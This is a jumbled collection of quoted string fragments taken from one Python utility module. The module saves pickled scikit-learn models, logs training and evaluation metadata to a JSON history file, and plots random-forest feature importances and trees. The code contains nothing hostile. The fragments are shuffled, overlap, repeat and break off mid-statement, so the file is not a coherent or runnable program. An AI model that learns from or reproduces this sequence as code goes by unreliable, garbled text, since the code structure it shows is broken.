"tree based model (random forest ...) feature_names (list): names of",
"params): \"\"\"SAVE METADATA RELATED TO THE TRAINED MODEL INTO THE",
"string. Defaults to 6. chars (str, optional): charachters to be",
"from datetime import datetime import os import json import pickle",
"optional): the id of the model. Defaults to None. model_name",
"of the model. Defaults to None. model_name (str, optional): the",
"None or model_name is not None ), \"At least the",
"= str(datetime.now()) eval_metadata[\"metrics\"] = metrics with open(models_hist_path, \"r+\") as outfile:",
"fn = feature_names cn = target_names fig, axes = plt.subplots(nrows=1,",
"path where to save the model model (binary): the model",
"EVALUATION METRICS THE HISTORY FILE FOR THE SPECIFIED MODEL Args:",
"= [features.columns[i] for i in importances_indices] importances = pd.DataFrame( [tree.feature_importances_",
"open(models_hist_path, \"r+\") as outfile: try: hist = json.load(outfile) hist[model_name] =",
"chain of charachters \"\"\" return \"\".join(random.choice(chars) for _ in range(size))",
"\"\"\" with open(path, \"wb\") as file: pickle.dump(model, file) def update_history(models_hist_path,",
"None. model_name (str, optional): the name of the model. Defaults",
"None. \"\"\" assert ( model_id is not None or model_name",
"import seaborn as sns from sklearn import tree def id_generator(size=6,",
"other modules \"\"\" from datetime import datetime import os import",
"return \"\".join(random.choice(chars) for _ in range(size)) def save_model(path, model): \"\"\"SAVE",
"Args: models_hist_path (str): path to the history file model_id (str,",
"generate_features_importance_plot(model, features, model_id): \"\"\"GENERATES A PLOT DESCRIBING FEATURES IMPORTANCE FOR",
"modules \"\"\" from datetime import datetime import os import json",
"and used in other modules \"\"\" from datetime import datetime",
"update_history(models_hist_path, model_id, model_name, model, params): \"\"\"SAVE METADATA RELATED TO THE",
"the model. Defaults to None. metrics (dict, optional): a dictionnary",
"with open(models_hist_path, \"r+\") as outfile: try: hist = json.load(outfile) hist[model_name][\"evaluation\"]",
"\" + str(index), fontsize=11) fig.savefig(\"models/models-training/run_\" + model_id + \"/Trees.png\") def",
"file model_id (str): unique id of the model model_name (str):",
"filled=True, ax=axes[index], ) axes[index].set_title(\"Estimator: \" + str(index), fontsize=11) fig.savefig(\"models/models-training/run_\" +",
"ax.get_figure() figure.savefig( \"models/models-training/run_\" + model_id + \"/features_importance.png\" ) def plot_trees(rf,",
"name of the model. Defaults to None. metrics (dict, optional):",
"to the history file model_id (str): unique id of the",
"THE TRAINED MODEL INTO THE HISTORY FILE Args: models_hist_path (str):",
"indent=4) def update_history_add_eval( models_hist_path, model_id=None, model_name=None, metrics=None ): \"\"\"ADD EVALUATION",
"dict() eval_metadata[\"datetime\"] = str(datetime.now()) eval_metadata[\"metrics\"] = metrics with open(models_hist_path, \"r+\")",
"the path to the history file\" if not model_name: model_name",
"str(datetime.now()) model_metadata[\"model_type\"] = type(model).__name__ model_metadata[\"model_id\"] = model_id model_metadata[\"params\"] = params",
"id_generator(size=6, chars=string.ascii_lowercase + string.digits): \"\"\"GENERATE A RANDOM STRING TO BE",
"\"model_\" + model_id + \".pkl\" eval_metadata = dict() eval_metadata[\"datetime\"] =",
"the columns of the training set target_names (str): name of",
"try: hist = json.load(outfile) hist[model_name] = model_metadata outfile.seek(0) json.dump(hist, outfile,",
"import pandas as pd from matplotlib import pyplot as plt",
"\"r+\") as outfile: try: hist = json.load(outfile) hist[model_name][\"evaluation\"] = eval_metadata",
"import random import numpy as np import pandas as pd",
"[str]: a random chain of charachters \"\"\" return \"\".join(random.choice(chars) for",
"of the columns of the training set target_names (str): name",
"the history file\" if not model_name: model_name = \"model_\" +",
"specify the path to the history file\" if not model_name:",
"model model (binary): the model to be saved \"\"\" with",
"= plt.subplots(nrows=1, ncols=5, figsize=(10, 2), dpi=900) for index in range(0,",
"(str): unique id of the model model_name (str): model name",
"model. Defaults to None. metrics (dict, optional): a dictionnary containing",
"eval_metadata[\"datetime\"] = str(datetime.now()) eval_metadata[\"metrics\"] = metrics with open(models_hist_path, \"r+\") as",
"axes[index].set_title(\"Estimator: \" + str(index), fontsize=11) fig.savefig(\"models/models-training/run_\" + model_id + \"/Trees.png\")",
"models_hist_path, model_id=None, model_name=None, metrics=None ): \"\"\"ADD EVALUATION METRICS THE HISTORY",
"Defaults to None. \"\"\" assert ( model_id is not None",
"eval_metadata = dict() eval_metadata[\"datetime\"] = str(datetime.now()) eval_metadata[\"metrics\"] = metrics with",
"model_name = \"model_\" + model_id + \".pkl\" eval_metadata = dict()",
"try: hist = json.load(outfile) hist[model_name][\"evaluation\"] = eval_metadata outfile.seek(0) json.dump(hist, outfile,",
"MODEL INTO THE HISTORY FILE Args: models_hist_path (str): path to",
"eval_metadata outfile.seek(0) json.dump(hist, outfile, indent=4) except json.decoder.JSONDecodeError: print(\"cannot save evaluation",
"[features.columns[i] for i in importances_indices] importances = pd.DataFrame( [tree.feature_importances_ for",
"MAKING OF THE TREES Args: rf (model): a tree based",
"least the model id or name must be given\" assert",
"+ \"/features_importance.png\" ) def plot_trees(rf, feature_names, target_names, model_id): \"\"\"GENERATES A",
"dpi=900) for index in range(0, 5): tree.plot_tree( rf.estimators_[index], feature_names=fn, class_names=cn,",
"as sns from sklearn import tree def id_generator(size=6, chars=string.ascii_lowercase +",
"def id_generator(size=6, chars=string.ascii_lowercase + string.digits): \"\"\"GENERATE A RANDOM STRING TO",
"model_metadata outfile.seek(0) json.dump(hist, outfile, indent=4) except json.decoder.JSONDecodeError: json.dump({model_name: model_metadata}, outfile,",
"unique id of the model \"\"\" mean_importances = model.feature_importances_ importances_indices",
"name of the target columns model_id (str): unique id of",
"ID Args: size (int, optional): size of the string. Defaults",
"def generate_features_importance_plot(model, features, model_id): \"\"\"GENERATES A PLOT DESCRIBING FEATURES IMPORTANCE",
"update_history_add_eval( models_hist_path, model_id=None, model_name=None, metrics=None ): \"\"\"ADD EVALUATION METRICS THE",
"FEATURES IMPORTANCE FOR THE MODEL TO MAKE THE PREDICTION. Args:",
"METRICS THE HISTORY FILE FOR THE SPECIFIED MODEL Args: models_hist_path",
"model_metadata[\"params\"] = params print(model_metadata) with open(models_hist_path, \"r+\") as outfile: try:",
"models_hist_path is not None, \"You must specify the path to",
"print (os.getcwd()) print([x[0] for x in os.walk(\"../../models/models-training\")]) return [x[0][-N:] for",
"+ \".pkl\" eval_metadata = dict() eval_metadata[\"datetime\"] = str(datetime.now()) eval_metadata[\"metrics\"] =",
"model_id + \"/Trees.png\") def get_id_list(N=6): print (os.getcwd()) print([x[0] for x",
"model_name: model_name = \"model_\" + model_id + \".pkl\" eval_metadata =",
"feature_names cn = target_names fig, axes = plt.subplots(nrows=1, ncols=5, figsize=(10,",
"PICKLE FILE Args: path (str): path where to save the",
"...) feature_names (list): names of the columns of the training",
"file of the model params (dict): dictionnary containing the hyper-parameters",
"hist = json.load(outfile) hist[model_name][\"evaluation\"] = eval_metadata outfile.seek(0) json.dump(hist, outfile, indent=4)",
"2), dpi=900) for index in range(0, 5): tree.plot_tree( rf.estimators_[index], feature_names=fn,",
"chars=string.ascii_lowercase + string.digits): \"\"\"GENERATE A RANDOM STRING TO BE USED",
"feature_names, target_names, model_id): \"\"\"GENERATES A PLOT THAT SHOWS THE DECISION",
"USED AS AN ID Args: size (int, optional): size of",
"TO THE TRAINED MODEL INTO THE HISTORY FILE Args: models_hist_path",
"outfile, indent=4) def update_history_add_eval( models_hist_path, model_id=None, model_name=None, metrics=None ): \"\"\"ADD",
"tree based model (decision tree, random forest ...) features (pandas",
"\"At least the model id or name must be given\"",
"(pandas dataframe): a table of the features on which we",
"to the model evaluation. Defaults to None. \"\"\" assert (",
"= feature_names cn = target_names fig, axes = plt.subplots(nrows=1, ncols=5,",
"size of the string. Defaults to 6. chars (str, optional):",
"forest ...) features (pandas dataframe): a table of the features",
"ax=ax, data=pd.melt(importances)) figure = ax.get_figure() figure.savefig( \"models/models-training/run_\" + model_id +",
"rf (model): a tree based model (random forest ...) feature_names",
"not None or model_name is not None ), \"At least",
"optional): the name of the model. Defaults to None. metrics",
"+ str(index), fontsize=11) fig.savefig(\"models/models-training/run_\" + model_id + \"/Trees.png\") def get_id_list(N=6):",
"= target_names fig, axes = plt.subplots(nrows=1, ncols=5, figsize=(10, 2), dpi=900)",
"model_name, model, params): \"\"\"SAVE METADATA RELATED TO THE TRAINED MODEL",
"MODEL TO MAKE THE PREDICTION. Args: model (tree-based model): a",
"not None ), \"At least the model id or name",
"the string. Defaults to 6. chars (str, optional): charachters to",
"FILE Args: path (str): path where to save the model",
"used to fit the model \"\"\" model_metadata = dict() model_metadata[\"trained\"]",
"FOR THE SPECIFIED MODEL Args: models_hist_path (str): path to the",
"model \"\"\" mean_importances = model.feature_importances_ importances_indices = np.argsort(mean_importances)[::-1] ordered_columns =",
"string import random import numpy as np import pandas as",
"AN ID Args: size (int, optional): size of the string.",
"THE MODEL TO MAKE THE PREDICTION. Args: model (tree-based model):",
"import pickle import string import random import numpy as np",
"FOR THE MODEL TO MAKE THE PREDICTION. Args: model (tree-based",
"to 6. chars (str, optional): charachters to be used to",
"dict() model_metadata[\"trained\"] = str(datetime.now()) model_metadata[\"model_type\"] = type(model).__name__ model_metadata[\"model_id\"] = model_id",
"cn = target_names fig, axes = plt.subplots(nrows=1, ncols=5, figsize=(10, 2),",
"model_name (str): model name = \"model_\"+model_id+\".pkl\" model (binary): binary file",
"= \"model_\"+model_id+\".pkl\" model (binary): binary file of the model params",
"model_id is not None or model_name is not None ),",
"to None. \"\"\" assert ( model_id is not None or",
"print([x[0] for x in os.walk(\"../../models/models-training\")]) return [x[0][-N:] for x in",
"MODEL Args: models_hist_path (str): path to the history file model_id",
"model (random forest ...) feature_names (list): names of the columns",
"INTO THE HISTORY FILE Args: models_hist_path (str): path to the",
"must be given\" assert models_hist_path is not None, \"You must",
"model \"\"\" model_metadata = dict() model_metadata[\"trained\"] = str(datetime.now()) model_metadata[\"model_type\"] =",
"def get_id_list(N=6): print (os.getcwd()) print([x[0] for x in os.walk(\"../../models/models-training\")]) return",
"(str, optional): the id of the model. Defaults to None.",
"to be saved \"\"\" with open(path, \"wb\") as file: pickle.dump(model,",
"= model_metadata outfile.seek(0) json.dump(hist, outfile, indent=4) except json.decoder.JSONDecodeError: json.dump({model_name: model_metadata},",
"id of the model \"\"\" mean_importances = model.feature_importances_ importances_indices =",
"the model. Defaults to None. model_name (str, optional): the name",
"chars (str, optional): charachters to be used to generate the",
"columns model_id (str): unique id of the model \"\"\" fn",
"string.ascii_lowercase+string.digits. Returns: [str]: a random chain of charachters \"\"\" return",
"offers util functions to be called and used in other",
"outfile, indent=4) except json.decoder.JSONDecodeError: json.dump({model_name: model_metadata}, outfile, indent=4) def update_history_add_eval(",
"(dict): dictionnary containing the hyper-parameters used to fit the model",
"_ in range(size)) def save_model(path, model): \"\"\"SAVE MODEL INTO PICKLE",
"\"\"\"SAVE METADATA RELATED TO THE TRAINED MODEL INTO THE HISTORY",
"Defaults to None. model_name (str, optional): the name of the",
"pd from matplotlib import pyplot as plt import seaborn as",
"-*- \"\"\" This module offers util functions to be called",
"= plt.subplots(figsize=(12, 8)) sns.boxplot(x=\"variable\", y=\"value\", ax=ax, data=pd.melt(importances)) figure = ax.get_figure()",
"figure.savefig( \"models/models-training/run_\" + model_id + \"/features_importance.png\" ) def plot_trees(rf, feature_names,",
"file: pickle.dump(model, file) def update_history(models_hist_path, model_id, model_name, model, params): \"\"\"SAVE",
"dictionnary containing the hyper-parameters used to fit the model \"\"\"",
"(list): names of the columns of the training set target_names",
"file) def update_history(models_hist_path, model_id, model_name, model, params): \"\"\"SAVE METADATA RELATED",
"\"\"\"ADD EVALUATION METRICS THE HISTORY FILE FOR THE SPECIFIED MODEL",
"THE TREES Args: rf (model): a tree based model (random",
"(str): path to the history file model_id (str, optional): the",
"= params print(model_metadata) with open(models_hist_path, \"r+\") as outfile: try: hist",
"\"\"\"SAVE MODEL INTO PICKLE FILE Args: path (str): path where",
"print(model_metadata) with open(models_hist_path, \"r+\") as outfile: try: hist = json.load(outfile)",
"i in importances_indices] importances = pd.DataFrame( [tree.feature_importances_ for tree in",
"THE PREDICTION. Args: model (tree-based model): a tree based model",
"= \"model_\" + model_id + \".pkl\" eval_metadata = dict() eval_metadata[\"datetime\"]",
"pd.DataFrame( [tree.feature_importances_ for tree in model.estimators_], columns=features.columns, ) importances =",
"optional): charachters to be used to generate the string. Defaults",
"def save_model(path, model): \"\"\"SAVE MODEL INTO PICKLE FILE Args: path",
"columns=features.columns, ) importances = importances[ordered_columns] _, ax = plt.subplots(figsize=(12, 8))",
"str(datetime.now()) eval_metadata[\"metrics\"] = metrics with open(models_hist_path, \"r+\") as outfile: try:",
"model_metadata = dict() model_metadata[\"trained\"] = str(datetime.now()) model_metadata[\"model_type\"] = type(model).__name__ model_metadata[\"model_id\"]",
"# -*- coding: utf-8 -*- \"\"\" This module offers util",
"feature_names=fn, class_names=cn, filled=True, ax=axes[index], ) axes[index].set_title(\"Estimator: \" + str(index), fontsize=11)",
"= np.argsort(mean_importances)[::-1] ordered_columns = [features.columns[i] for i in importances_indices] importances",
"TO MAKE THE PREDICTION. Args: model (tree-based model): a tree",
"figsize=(10, 2), dpi=900) for index in range(0, 5): tree.plot_tree( rf.estimators_[index],",
"path to the history file model_id (str, optional): the id",
"table of the features on which we trained the model",
"DECISION MAKING OF THE TREES Args: rf (model): a tree",
"or model_name is not None ), \"At least the model",
"as file: pickle.dump(model, file) def update_history(models_hist_path, model_id, model_name, model, params):",
"RANDOM STRING TO BE USED AS AN ID Args: size",
"importances[ordered_columns] _, ax = plt.subplots(figsize=(12, 8)) sns.boxplot(x=\"variable\", y=\"value\", ax=ax, data=pd.melt(importances))",
"set target_names (str): name of the target columns model_id (str):",
"random chain of charachters \"\"\" return \"\".join(random.choice(chars) for _ in",
"HISTORY FILE FOR THE SPECIFIED MODEL Args: models_hist_path (str): path",
"import tree def id_generator(size=6, chars=string.ascii_lowercase + string.digits): \"\"\"GENERATE A RANDOM",
"for x in os.walk(\"../../models/models-training\")]) return [x[0][-N:] for x in os.walk(\"../../models/models-training\")][1:]",
"mean_importances = model.feature_importances_ importances_indices = np.argsort(mean_importances)[::-1] ordered_columns = [features.columns[i] for",
"model_id (str, optional): the id of the model. Defaults to",
"pickle.dump(model, file) def update_history(models_hist_path, model_id, model_name, model, params): \"\"\"SAVE METADATA",
"TRAINED MODEL INTO THE HISTORY FILE Args: models_hist_path (str): path",
"np.argsort(mean_importances)[::-1] ordered_columns = [features.columns[i] for i in importances_indices] importances =",
"target_names fig, axes = plt.subplots(nrows=1, ncols=5, figsize=(10, 2), dpi=900) for",
"Returns: [str]: a random chain of charachters \"\"\" return \"\".join(random.choice(chars)",
"FILE Args: models_hist_path (str): path to the history file model_id",
"a tree based model (random forest ...) feature_names (list): names",
"models_hist_path (str): path to the history file model_id (str, optional):",
"string.digits): \"\"\"GENERATE A RANDOM STRING TO BE USED AS AN",
"hist = json.load(outfile) hist[model_name] = model_metadata outfile.seek(0) json.dump(hist, outfile, indent=4)",
"dictionnary containing metadata related to the model evaluation. Defaults to",
"datetime import datetime import os import json import pickle import",
"metrics with open(models_hist_path, \"r+\") as outfile: try: hist = json.load(outfile)",
"in model.estimators_], columns=features.columns, ) importances = importances[ordered_columns] _, ax =",
"params (dict): dictionnary containing the hyper-parameters used to fit the",
"= str(datetime.now()) model_metadata[\"model_type\"] = type(model).__name__ model_metadata[\"model_id\"] = model_id model_metadata[\"params\"] =",
"6. chars (str, optional): charachters to be used to generate",
"= eval_metadata outfile.seek(0) json.dump(hist, outfile, indent=4) except json.decoder.JSONDecodeError: print(\"cannot save",
"\"models/models-training/run_\" + model_id + \"/features_importance.png\" ) def plot_trees(rf, feature_names, target_names,",
"importances_indices] importances = pd.DataFrame( [tree.feature_importances_ for tree in model.estimators_], columns=features.columns,",
"None ), \"At least the model id or name must",
"dataframe): a table of the features on which we trained",
"to None. model_name (str, optional): the name of the model.",
"json.dump(hist, outfile, indent=4) except json.decoder.JSONDecodeError: json.dump({model_name: model_metadata}, outfile, indent=4) def",
"name must be given\" assert models_hist_path is not None, \"You",
"coding: utf-8 -*- \"\"\" This module offers util functions to",
"outfile, indent=4) except json.decoder.JSONDecodeError: print(\"cannot save evaluation metadata\") def generate_features_importance_plot(model,",
"plt.subplots(nrows=1, ncols=5, figsize=(10, 2), dpi=900) for index in range(0, 5):",
"random forest ...) features (pandas dataframe): a table of the",
"+ \"/Trees.png\") def get_id_list(N=6): print (os.getcwd()) print([x[0] for x in",
"to the history file\" if not model_name: model_name = \"model_\"",
"model_id=None, model_name=None, metrics=None ): \"\"\"ADD EVALUATION METRICS THE HISTORY FILE",
"This module offers util functions to be called and used",
"metadata related to the model evaluation. Defaults to None. \"\"\"",
"+ model_id + \".pkl\" eval_metadata = dict() eval_metadata[\"datetime\"] = str(datetime.now())",
"model): a tree based model (decision tree, random forest ...)",
"\"r+\") as outfile: try: hist = json.load(outfile) hist[model_name] = model_metadata",
"INTO PICKLE FILE Args: path (str): path where to save",
"class_names=cn, filled=True, ax=axes[index], ) axes[index].set_title(\"Estimator: \" + str(index), fontsize=11) fig.savefig(\"models/models-training/run_\"",
") def plot_trees(rf, feature_names, target_names, model_id): \"\"\"GENERATES A PLOT THAT",
"the hyper-parameters used to fit the model \"\"\" model_metadata =",
"None. metrics (dict, optional): a dictionnary containing metadata related to",
"the model model_name (str): model name = \"model_\"+model_id+\".pkl\" model (binary):",
"model_name (str, optional): the name of the model. Defaults to",
"Args: models_hist_path (str): path to the history file model_id (str):",
"Args: rf (model): a tree based model (random forest ...)",
"(str, optional): the name of the model. Defaults to None.",
"AS AN ID Args: size (int, optional): size of the",
"assert models_hist_path is not None, \"You must specify the path",
"the model \"\"\" fn = feature_names cn = target_names fig,",
"fontsize=11) fig.savefig(\"models/models-training/run_\" + model_id + \"/Trees.png\") def get_id_list(N=6): print (os.getcwd())",
"(str): unique id of the model \"\"\" fn = feature_names",
"random import numpy as np import pandas as pd from",
"\"\"\" model_metadata = dict() model_metadata[\"trained\"] = str(datetime.now()) model_metadata[\"model_type\"] = type(model).__name__",
"as outfile: try: hist = json.load(outfile) hist[model_name][\"evaluation\"] = eval_metadata outfile.seek(0)",
"+ string.digits): \"\"\"GENERATE A RANDOM STRING TO BE USED AS",
"model_id): \"\"\"GENERATES A PLOT THAT SHOWS THE DECISION MAKING OF",
"print(\"cannot save evaluation metadata\") def generate_features_importance_plot(model, features, model_id): \"\"\"GENERATES A",
"fig, axes = plt.subplots(nrows=1, ncols=5, figsize=(10, 2), dpi=900) for index",
"( model_id is not None or model_name is not None",
"which we trained the model model_id (str): the unique id",
"in range(size)) def save_model(path, model): \"\"\"SAVE MODEL INTO PICKLE FILE",
"TO BE USED AS AN ID Args: size (int, optional):",
"to save the model model (binary): the model to be",
"model_metadata[\"trained\"] = str(datetime.now()) model_metadata[\"model_type\"] = type(model).__name__ model_metadata[\"model_id\"] = model_id model_metadata[\"params\"]",
"SPECIFIED MODEL Args: models_hist_path (str): path to the history file",
"5): tree.plot_tree( rf.estimators_[index], feature_names=fn, class_names=cn, filled=True, ax=axes[index], ) axes[index].set_title(\"Estimator: \"",
"model \"\"\" fn = feature_names cn = target_names fig, axes",
"json.dump({model_name: model_metadata}, outfile, indent=4) def update_history_add_eval( models_hist_path, model_id=None, model_name=None, metrics=None",
"model id or name must be given\" assert models_hist_path is",
"axes = plt.subplots(nrows=1, ncols=5, figsize=(10, 2), dpi=900) for index in",
"the model \"\"\" mean_importances = model.feature_importances_ importances_indices = np.argsort(mean_importances)[::-1] ordered_columns",
"def plot_trees(rf, feature_names, target_names, model_id): \"\"\"GENERATES A PLOT THAT SHOWS",
"= ax.get_figure() figure.savefig( \"models/models-training/run_\" + model_id + \"/features_importance.png\" ) def",
"plt.subplots(figsize=(12, 8)) sns.boxplot(x=\"variable\", y=\"value\", ax=ax, data=pd.melt(importances)) figure = ax.get_figure() figure.savefig(",
"model_name is not None ), \"At least the model id",
"evaluation. Defaults to None. \"\"\" assert ( model_id is not",
"be used to generate the string. Defaults to string.ascii_lowercase+string.digits. Returns:",
"model): \"\"\"SAVE MODEL INTO PICKLE FILE Args: path (str): path",
"type(model).__name__ model_metadata[\"model_id\"] = model_id model_metadata[\"params\"] = params print(model_metadata) with open(models_hist_path,",
"outfile.seek(0) json.dump(hist, outfile, indent=4) except json.decoder.JSONDecodeError: json.dump({model_name: model_metadata}, outfile, indent=4)",
"columns of the training set target_names (str): name of the",
"tree in model.estimators_], columns=features.columns, ) importances = importances[ordered_columns] _, ax",
"the model model (binary): the model to be saved \"\"\"",
"(model): a tree based model (random forest ...) feature_names (list):",
"unique id of the model \"\"\" fn = feature_names cn",
"the training set target_names (str): name of the target columns",
"metadata\") def generate_features_importance_plot(model, features, model_id): \"\"\"GENERATES A PLOT DESCRIBING FEATURES",
"file model_id (str, optional): the id of the model. Defaults",
"eval_metadata[\"metrics\"] = metrics with open(models_hist_path, \"r+\") as outfile: try: hist",
"str(index), fontsize=11) fig.savefig(\"models/models-training/run_\" + model_id + \"/Trees.png\") def get_id_list(N=6): print",
"the model params (dict): dictionnary containing the hyper-parameters used to",
"the model model_id (str): the unique id of the model",
"history file model_id (str, optional): the id of the model.",
"be called and used in other modules \"\"\" from datetime",
"containing the hyper-parameters used to fit the model \"\"\" model_metadata",
"training set target_names (str): name of the target columns model_id",
"= json.load(outfile) hist[model_name][\"evaluation\"] = eval_metadata outfile.seek(0) json.dump(hist, outfile, indent=4) except",
"features on which we trained the model model_id (str): the",
"METADATA RELATED TO THE TRAINED MODEL INTO THE HISTORY FILE",
"\"\"\" assert ( model_id is not None or model_name is",
"the history file model_id (str, optional): the id of the",
"names of the columns of the training set target_names (str):",
"of the training set target_names (str): name of the target",
"pyplot as plt import seaborn as sns from sklearn import",
"open(path, \"wb\") as file: pickle.dump(model, file) def update_history(models_hist_path, model_id, model_name,",
"\"\"\" mean_importances = model.feature_importances_ importances_indices = np.argsort(mean_importances)[::-1] ordered_columns = [features.columns[i]",
"= metrics with open(models_hist_path, \"r+\") as outfile: try: hist =",
"model_metadata[\"model_id\"] = model_id model_metadata[\"params\"] = params print(model_metadata) with open(models_hist_path, \"r+\")",
"as np import pandas as pd from matplotlib import pyplot",
"): \"\"\"ADD EVALUATION METRICS THE HISTORY FILE FOR THE SPECIFIED",
"of the features on which we trained the model model_id",
"model_id model_metadata[\"params\"] = params print(model_metadata) with open(models_hist_path, \"r+\") as outfile:",
"model_id (str): the unique id of the model \"\"\" mean_importances",
"import json import pickle import string import random import numpy",
"if not model_name: model_name = \"model_\" + model_id + \".pkl\"",
"model name = \"model_\"+model_id+\".pkl\" model (binary): binary file of the",
"for index in range(0, 5): tree.plot_tree( rf.estimators_[index], feature_names=fn, class_names=cn, filled=True,",
"index in range(0, 5): tree.plot_tree( rf.estimators_[index], feature_names=fn, class_names=cn, filled=True, ax=axes[index],",
"a tree based model (decision tree, random forest ...) features",
"features, model_id): \"\"\"GENERATES A PLOT DESCRIBING FEATURES IMPORTANCE FOR THE",
"open(models_hist_path, \"r+\") as outfile: try: hist = json.load(outfile) hist[model_name][\"evaluation\"] =",
") axes[index].set_title(\"Estimator: \" + str(index), fontsize=11) fig.savefig(\"models/models-training/run_\" + model_id +",
"THE HISTORY FILE Args: models_hist_path (str): path to the history",
"model_id (str): unique id of the model \"\"\" fn =",
"A PLOT THAT SHOWS THE DECISION MAKING OF THE TREES",
"model (decision tree, random forest ...) features (pandas dataframe): a",
"(random forest ...) feature_names (list): names of the columns of",
"or name must be given\" assert models_hist_path is not None,",
"model to be saved \"\"\" with open(path, \"wb\") as file:",
"id of the model. Defaults to None. model_name (str, optional):",
"importances_indices = np.argsort(mean_importances)[::-1] ordered_columns = [features.columns[i] for i in importances_indices]",
"charachters to be used to generate the string. Defaults to",
"target_names (str): name of the target columns model_id (str): unique",
"binary file of the model params (dict): dictionnary containing the",
"string. Defaults to string.ascii_lowercase+string.digits. Returns: [str]: a random chain of",
"metrics (dict, optional): a dictionnary containing metadata related to the",
"= pd.DataFrame( [tree.feature_importances_ for tree in model.estimators_], columns=features.columns, ) importances",
"feature_names (list): names of the columns of the training set",
"= json.load(outfile) hist[model_name] = model_metadata outfile.seek(0) json.dump(hist, outfile, indent=4) except",
"charachters \"\"\" return \"\".join(random.choice(chars) for _ in range(size)) def save_model(path,",
"json.decoder.JSONDecodeError: json.dump({model_name: model_metadata}, outfile, indent=4) def update_history_add_eval( models_hist_path, model_id=None, model_name=None,",
"the model id or name must be given\" assert models_hist_path",
"A RANDOM STRING TO BE USED AS AN ID Args:",
"as plt import seaborn as sns from sklearn import tree",
"from matplotlib import pyplot as plt import seaborn as sns",
"OF THE TREES Args: rf (model): a tree based model",
"the history file model_id (str): unique id of the model",
"json import pickle import string import random import numpy as",
"model.feature_importances_ importances_indices = np.argsort(mean_importances)[::-1] ordered_columns = [features.columns[i] for i in",
"the string. Defaults to string.ascii_lowercase+string.digits. Returns: [str]: a random chain",
"tree def id_generator(size=6, chars=string.ascii_lowercase + string.digits): \"\"\"GENERATE A RANDOM STRING",
"model_id): \"\"\"GENERATES A PLOT DESCRIBING FEATURES IMPORTANCE FOR THE MODEL",
"functions to be called and used in other modules \"\"\"",
"PLOT THAT SHOWS THE DECISION MAKING OF THE TREES Args:",
"model_metadata[\"model_type\"] = type(model).__name__ model_metadata[\"model_id\"] = model_id model_metadata[\"params\"] = params print(model_metadata)",
"fig.savefig(\"models/models-training/run_\" + model_id + \"/Trees.png\") def get_id_list(N=6): print (os.getcwd()) print([x[0]",
"optional): size of the string. Defaults to 6. chars (str,",
"Defaults to None. metrics (dict, optional): a dictionnary containing metadata",
"None, \"You must specify the path to the history file\"",
"to be called and used in other modules \"\"\" from",
"not None, \"You must specify the path to the history",
"the target columns model_id (str): unique id of the model",
"(str): path to the history file model_id (str): unique id",
"from sklearn import tree def id_generator(size=6, chars=string.ascii_lowercase + string.digits): \"\"\"GENERATE",
"except json.decoder.JSONDecodeError: json.dump({model_name: model_metadata}, outfile, indent=4) def update_history_add_eval( models_hist_path, model_id=None,",
"Defaults to string.ascii_lowercase+string.digits. Returns: [str]: a random chain of charachters",
"to be used to generate the string. Defaults to string.ascii_lowercase+string.digits.",
"THE HISTORY FILE FOR THE SPECIFIED MODEL Args: models_hist_path (str):",
"pickle import string import random import numpy as np import",
"id or name must be given\" assert models_hist_path is not",
"range(size)) def save_model(path, model): \"\"\"SAVE MODEL INTO PICKLE FILE Args:",
"RELATED TO THE TRAINED MODEL INTO THE HISTORY FILE Args:",
"\".pkl\" eval_metadata = dict() eval_metadata[\"datetime\"] = str(datetime.now()) eval_metadata[\"metrics\"] = metrics",
"figure = ax.get_figure() figure.savefig( \"models/models-training/run_\" + model_id + \"/features_importance.png\" )",
"with open(path, \"wb\") as file: pickle.dump(model, file) def update_history(models_hist_path, model_id,",
"= dict() model_metadata[\"trained\"] = str(datetime.now()) model_metadata[\"model_type\"] = type(model).__name__ model_metadata[\"model_id\"] =",
"with open(models_hist_path, \"r+\") as outfile: try: hist = json.load(outfile) hist[model_name]",
"based model (random forest ...) feature_names (list): names of the",
"model, params): \"\"\"SAVE METADATA RELATED TO THE TRAINED MODEL INTO",
"evaluation metadata\") def generate_features_importance_plot(model, features, model_id): \"\"\"GENERATES A PLOT DESCRIBING",
"= model_id model_metadata[\"params\"] = params print(model_metadata) with open(models_hist_path, \"r+\") as",
"not model_name: model_name = \"model_\" + model_id + \".pkl\" eval_metadata",
"\"wb\") as file: pickle.dump(model, file) def update_history(models_hist_path, model_id, model_name, model,",
"Defaults to 6. chars (str, optional): charachters to be used",
"model_id + \".pkl\" eval_metadata = dict() eval_metadata[\"datetime\"] = str(datetime.now()) eval_metadata[\"metrics\"]",
"save the model model (binary): the model to be saved",
"(str, optional): charachters to be used to generate the string.",
"(binary): the model to be saved \"\"\" with open(path, \"wb\")",
"of the model. Defaults to None. metrics (dict, optional): a",
"SHOWS THE DECISION MAKING OF THE TREES Args: rf (model):",
"[tree.feature_importances_ for tree in model.estimators_], columns=features.columns, ) importances = importances[ordered_columns]",
"to string.ascii_lowercase+string.digits. Returns: [str]: a random chain of charachters \"\"\"",
"util functions to be called and used in other modules",
"(str): the unique id of the model \"\"\" mean_importances =",
"rf.estimators_[index], feature_names=fn, class_names=cn, filled=True, ax=axes[index], ) axes[index].set_title(\"Estimator: \" + str(index),",
"_, ax = plt.subplots(figsize=(12, 8)) sns.boxplot(x=\"variable\", y=\"value\", ax=ax, data=pd.melt(importances)) figure",
"the name of the model. Defaults to None. metrics (dict,",
"\"\"\" return \"\".join(random.choice(chars) for _ in range(size)) def save_model(path, model):",
"model model_id (str): the unique id of the model \"\"\"",
"model_id (str): unique id of the model model_name (str): model",
"model evaluation. Defaults to None. \"\"\" assert ( model_id is",
"indent=4) except json.decoder.JSONDecodeError: print(\"cannot save evaluation metadata\") def generate_features_importance_plot(model, features,",
"for i in importances_indices] importances = pd.DataFrame( [tree.feature_importances_ for tree",
"import numpy as np import pandas as pd from matplotlib",
"\"\"\" from datetime import datetime import os import json import",
"np import pandas as pd from matplotlib import pyplot as",
"\"/Trees.png\") def get_id_list(N=6): print (os.getcwd()) print([x[0] for x in os.walk(\"../../models/models-training\")])",
"hist[model_name][\"evaluation\"] = eval_metadata outfile.seek(0) json.dump(hist, outfile, indent=4) except json.decoder.JSONDecodeError: print(\"cannot",
"metrics=None ): \"\"\"ADD EVALUATION METRICS THE HISTORY FILE FOR THE",
"model.estimators_], columns=features.columns, ) importances = importances[ordered_columns] _, ax = plt.subplots(figsize=(12,",
"history file model_id (str): unique id of the model model_name",
"plot_trees(rf, feature_names, target_names, model_id): \"\"\"GENERATES A PLOT THAT SHOWS THE",
"size (int, optional): size of the string. Defaults to 6.",
